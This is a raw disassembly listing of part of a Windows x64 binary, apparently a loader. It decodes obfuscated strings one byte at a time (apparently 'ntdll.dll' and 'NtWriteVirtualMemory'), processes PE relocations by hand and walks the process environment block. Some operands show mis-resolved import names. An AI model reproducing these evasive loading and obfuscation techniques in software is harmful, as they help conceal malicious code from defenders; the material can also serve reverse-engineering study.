call fcn.1400429f8
mov byte [rbp + 0x3a1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a4], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a5], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a6], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a8], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a9], al
xor eax, eax
mov byte [rbp + 0x3aa], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x399]
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + rdi + 0x399], al
add rdi, rsi
cmp rdi, rbx
jb 0x14003add2
xor edi, edi
mov byte [rbp + 0x3aa], dil
mov byte [rbp + 0x5f0], WSACleanup
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f1], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r12b
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r12b
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5f9], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5fa], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5fb], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5fc], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5fd], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5fe], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x5ff], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x600], al
mov r9d, esi
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x601], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x602], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x603], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x34
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + 0x604], al
xor eax, eax
mov byte [rbp + 0x605], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5f1]
lea rcx, [rbp + 0x5f0]
call fcn.1400430f8
mov byte [rbp + rdi + 0x5f1], al
add rdi, rbx
cmp rdi, rsi
jb 0x14003b032
xor eax, eax
mov byte [rbp + 0x605], al
xor r9d, r9d
lea r8, [rbp + 0x399]
lea rdx, [rbp + 0x5f1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x3c8], 0x5b
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3c9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3ca], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3cb], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3cc], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3cd], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3ce], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3cf], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d4], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d5], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d6], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d8], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + 0x3d9], al
xor eax, eax
mov byte [rbp + 0x3da], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3c9]
lea rcx, [rbp + 0x3c8]
call fcn.1400429f8
mov byte [rbp + rdi + 0x3c9], al
add rdi, rsi
cmp rdi, rbx
jb 0x14003b268
xor edi, edi
mov byte [rbp + 0x3da], dil
mov byte [rbp + 0x620], WSASetLastError
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x621], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x622], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r12b
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x623], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x624], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x625], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x626], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x627], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x628], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r12b
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x629], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x62a], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x62b], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x62c], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x62d], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x62e], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x62f], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x630], al
mov r9d, esi
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x631], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x632], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x633], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + 0x634], al
xor eax, eax
mov byte [rbp + 0x635], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x621]
lea rcx, [rbp + 0x620]
call fcn.1400430f8
mov byte [rbp + rdi + 0x621], al
add rdi, rbx
cmp rdi, rsi
jb 0x14003b4c8
xor eax, eax
mov byte [rbp + 0x635], al
xor r9d, r9d
lea r8, [rbp + 0x3c9]
lea rdx, [rbp + 0x621]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x3e0], 7
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e1], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e2], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e3], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e4], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e5], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e6], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e7], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e8], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3e9], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3ea], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3eb], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3ec], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3ed], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3ee], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3ef], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3f0], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + 0x3f1], al
xor eax, eax
mov byte [rbp + 0x3f2], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3e1]
lea rcx, [rbp + 0x3e0]
call fcn.1400429f8
mov byte [rbp + rdi + 0x3e1], al
add rdi, rsi
cmp rdi, rbx
jb 0x14003b6fc
xor edi, edi
mov byte [rbp + 0x3f2], dil
mov byte [rbp + 0x608], Ordinal_35
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x609], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x60a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r12b
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x60b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x60c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x60d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x60e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x60f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x610], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r12b
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x611], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x612], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x613], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x614], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x615], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x616], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x617], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x618], al
mov r9d, esi
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x619], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x61a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x61b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, Ordinal_50
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + 0x61c], al
xor eax, eax
mov byte [rbp + 0x61d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x609]
lea rcx, [rbp + 0x608]
call fcn.1400430f8
mov byte [rbp + rdi + 0x609], al
add rdi, rbx
cmp rdi, rsi
jb 0x14003b95c
xor eax, eax
mov byte [rbp + 0x61d], al
xor r9d, r9d
lea r8, [rbp + 0x3e1]
lea rdx, [rbp + 0x609]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov r10, qword [rbp - 8]
jmp 0x1400311a5
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x14003b9cc
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x14003ba74
add rdx, 0x28
cmp rdx, r8
jb 0x14003b9b6
xor ecx, ecx
mov edx, ecx
mov r9d, dword [r10 + 0xb4]
add r9, rdx
test rdx, rdx
je 0x14003bb07
cmp rdx, r9
jae 0x14003bb07
mov r12, qword [rbp - 0x60]
mov r15, qword [rbp + 0xbc8]
mov eax, dword [rdx + 4]
test eax, eax
je 0x14003bafa
add eax, 0xfffffff8
shr eax, 1
je 0x14003baeb
lea rcx, [rdx + 8]
mov qword [rsp + 0x68], rcx
mov r8d, eax
mov qword [rbp - 0x78], r8
mov r11d, 1
movzx edi, word [rcx]
movzx eax, di
shr ax, 0xc
and edi, 0xfff
jge 0x14003ba4a
sub edi, r11d
or edi, 0xfffff000
add edi, r11d
cmp ax, word [rbp - 0x28]
je 0x14003ba56
cmp ax, word [rbp - 0x40]
jne 0x14003bad3
mov r11d, dword [rdx]
movzx r8d, word [r10 + 0x14]
add r8, 0x18
add r8, r10
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea rcx, [r8 + rcx*8]
jmp 0x14003baa0
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, rdi
add rdx, r9
xor ecx, ecx
jmp 0x14003b9d9
mov r10d, dword [r8 + 0xc]
cmp r11, r10
jb 0x14003ba9c
mov eax, dword [r8 + 8]
add eax, r10d
cmp r11, rax
jb 0x14003baa7
add r8, 0x28
cmp r8, rcx
jb 0x14003ba87
jmp 0x14003bab6
mov ecx, dword [r8 + 0x14]
sub rcx, r10
add rcx, r11
add rcx, r15
jne 0x14003bab9
mov rcx, r15
movzx eax, di
add qword [rax + rcx], r12
mov rcx, qword [rsp + 0x68]
mov r8, qword [rbp - 0x78]
mov r10, qword [rbp - 8]
mov r11d, 1
add rcx, 2
mov qword [rsp + 0x68], rcx
sub r8, r11
mov qword [rbp - 0x78], r8
jne 0x14003ba2c
xor ecx, ecx
mov eax, dword [rdx + 4]
add rdx, rax
cmp rdx, r9
jb 0x14003ba00
mov ebx, reloc.WS2_32.dll_recvfrom
lea r15d, [rbx + 6]
lea r12d, [rbx + 0xf]
mov rdi, qword [rbp + 0xe10]
movzx eax, word [r10 + 0x14]
lea rcx, [r10 + 0x18]
add rcx, rax
mov qword [rbp - 0x20], rcx
xor r9d, r9d
mov edx, r9d
mov dword [rbp - 0x68], edx
cmp r9w, word [r10 + 6]
jae 0x14003d64e
lea r11d, [r9 + 1]
cmp dword [rcx + 0x14], r9d
je 0x14003cb62
cmp dword [rcx + 0x10], r9d
je 0x14003cb62
mov eax, dword [rcx + 0x10]
mov qword [rbp - 0x60], rax
mov eax, dword [rcx + 0x14]
add rax, qword [rbp + 0xbc8]
mov qword [rbp - 0x70], rax
mov eax, dword [rcx + 0xc]
add rax, rdi
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x80], rax
mov word [rbp + 0x638], 0x546a
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x63a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x63b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x63c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x63d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x63e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x63f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x640], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x641], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x642], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x643], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x644], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x645], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x646], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x647], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x648], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x649], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x64a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x64b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x638]
call fcn.1400430f8
mov byte [rbp + 0x64c], al
xor eax, eax
mov byte [rbp + 0x64d], al
mov r8d, eax
mov r9, rsi
lea ebx, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x638]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x638]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x639], dil
add r8, rbx
add r9, rsi
cmp r9, 0x1a4
jb 0x14003bdbc
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x64d], dil
mov word [rbp + 0x270], 0x7c3c
mov byte [rbp + 0x272], 2
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x273], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x274], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x275], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x276], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x277], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x278], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x270]
call fcn.140042908
mov byte [rbp + 0x279], al
xor eax, eax
mov byte [rbp + 0x27a], al
mov r8d, edi
lea r9d, [rbx - 8]
lea r10d, [rbx - 0x10]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x270]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x270]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x271], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14003bf2b
xor ecx, ecx
mov byte [rbp + 0x27a], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14003c30d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14003c03d
lea r13d, [rax + 1]
